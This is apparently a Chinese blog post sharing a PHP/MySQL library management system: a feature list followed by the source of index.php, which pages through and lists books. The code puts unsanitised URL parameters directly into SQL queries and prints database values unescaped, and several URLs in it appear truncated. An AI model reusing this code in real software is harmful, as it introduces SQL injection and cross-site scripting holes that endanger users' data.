一、功能

前台功能:
1、用户注册、用户登录、个人信息修改、查询个人已借阅书籍
2、借阅书籍、还书
3、退出登录

后台功能:
1、后台登录
2、管理员密码修改
3、普通用户管理:修改信息、删除用户
4、图书管理:修改图书信息、删除图书、图书入库、图书查询、图书统计
5、退出登录

二、工具

PHP编程:Sublime Text、phpstorm
SQL:mysql
环境搭建:PHP study(PHP 5.5 + Apache)

三、效果展示

3.1 前台功能:

网站首页

用户注册

用户登录

个人信息修改


查询个人已借阅书籍

3.2 后台功能:

后台管理登录

管理员密码修改

普通用户管理


图书管理:修改图书信息、删除图书

图书入库

图书查询

图书统计

四、网站代码

index.php文件代码

<?php
include("config.php");
?>
<html xmlns="http://www.w3/1999/xhtml">

<head>
<meta http-equiv="Content-Type" content="text/html; charset = "gb2312" />
<title>图书馆管理系统</title>
<link rel="stylesheet" href="style.css" type="text/css">
<script type="text/javascript" src="./js/jquery-3.6.0.min.js"></script>
<script type="text/javascript" src="./js/bootstrap.min.js"></script>
<link rel="stylesheet" type="text/css" href="./js/bootstrap.min.css" /> 
</head>

<body>
<?php include("head.php");?>
	<table  width="80%" class="table">
       <tr>
          <td>

			<?php
				$pagesize=10;
				if(!urldecode($_GET[proid])){
					$sql="select * from yx_books order by id desc";
					}
				else{
					$sql="select * from yx_books where type='".urldecode($_GET[proid])."'";
					}
				$rs=mysql_query($sql);
				$recordcount=mysql_num_rows($rs);
				$pagecount=($recordcount-1)/$pagesize+1;
				$pagecount=(int)$pagecount;
				$pageno=$_GET["pageno"];
				if($pageno=="")
				{
					$pageno=1;
				}
				if($pageno<1)
				{
					$pageno=1;
				}
				if($pageno>$pagecount)
				{
					$pageno=$pagecount;
				}
				$startno=($pageno-1)*$pagesize;
				if(!urldecode($_GET[proid])){
					$sql="select * from yx_books order by id desc limit $startno,$pagesize";
					}
				else{
					$sql="select * from yx_books where type='".urldecode($_GET[proid])."' order by id desc limit $startno,$pagesize";
					}
					$rs=mysql_query($sql);
		     ?>
		  <table class="table table-hover">
		    <tr>
		      <td align="center" bgcolor="#A67D3D"><b>书籍编号</b></td>
			  <td align="center" bgcolor="#A67D3D"><b>书名</b></td>
			  <td align="center" bgcolor="#A67D3D"><b>价格</b></td>
			  <td align="center" bgcolor="#A67D3D"><b>入库时间</b></td>
			  <td align="center" bgcolor="#A67D3D"><b>类别</b></td>
			  <td align="center" bgcolor="#A67D3D"><b>现有数量()</b></td>
			  <td align="center" bgcolor="#A67D3D"><b>操作</b></td>
			</tr>
		    <?php
			while($rows=mysql_fetch_assoc($rs))
			{
			?>
			<tr>
			  <td align="center"><?php echo $rows["id"];?></td>
			  <td align="center"><?php echo $rows["name"];?></td>
			  <td align="center"><?php echo $rows["price"];?></td>
			  <td align="center"><?php echo $rows["uploadtime"];?></td>
			  <td align="center"><?php echo $rows["type"];?></td>
			  <td align="center"><?php echo $rows["leave_number"];?></td>
			  <td align="center">
			  <?php 
			  $rs2=mysql_query("select * from lend where book_id='".$rows['id']."' and user_id='".$_SESSION['id']."'");
			  $rows2=mysql_fetch_assoc($rs2);
			  if($rows2['book_id']){
			  echo "<font color='red'>您已借阅</font>&nbsp;&nbsp;<a href=huanshu.php?book_id=$rows[id]>我要还书</a>";
			  }else{
			  	if($rows["leave_number"]==0){
				echo "<font color='#cccc00'>该书已借完</font>";
				}else{
			  echo "<a href=jieshu.php?book_id=$rows[id]>我要借书</a>";
						  }
						  	}
						  ?>	  
						</td>
				</tr>
				<?php
				}
			      ?>
			</table>
			<table class="table table-hover">
			  <tr>
				  <td height="35" align="center" bgcolor="#FFFFFF">
					  <?php
						if($pageno==1)
						{
						?>
					    首页 | 上一页 | <a href="index.php?proid=<?php echo urlencode($_GET[proid]);?>&pageno=<?php echo $pageno+1?>">下一页</a> | <a href="index.php?proid=<?php echo urlencode($_GET[proid]);?>&pageno=<?php echo $pagecount?>">末页</a>
					    <?php
						}
						else if($pageno==$pagecount)
						{
						?>
					    <a href="index.php?proid=<?php echo urlencode($_GET[proid]);?>&pageno=1">首页</a> | <a href="index.php?proid=<?php echo urlencode($_GET[proid]);?>&pageno=<?php echo $pageno-1?>">上一页</a> | 下一页 | 末页
					    <?php
						}
						else
						{
						?>
					    <a href="index.php?proid=<?php echo urlencode($_GET[proid]);?>&pageno=1">首页</a> | <a href="index.php?proid=<?php echo urlencode($_GET[proid]);?>&pageno=<?php echo $pageno-1?>">上一页</a> | <a href="index.php?proid=<?php echo urlencode($_GET[proid]);?>&pageno=<?php echo $pageno+1?>" class="forumRowHighlight">下一页</a> | <a href="?pageno=<?php echo $pagecount?>">末页</a>
					    <?php
						 }
					    ?>
					    &nbsp;页次:<?php echo $pageno ?>/<?php echo $pagecount ?>&nbsp;共有<?php echo $recordcount?>条信息
					</td>
			   </tr>
			</table>
		  </td>
	   </tr>
</table>
<table width="782" height="30" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
    <tr>
        <td height="19" align="center" background="images/button1_bg.jpg">
      
       <script type="text/javascript" src="http://www.04ie/net/cpt.js"></script>
       </td>
    </tr>
</table>
</body>
</html>

网站结构

更多推荐

PHP+Mysql——图书馆管理系统(前后端形式-整套源码)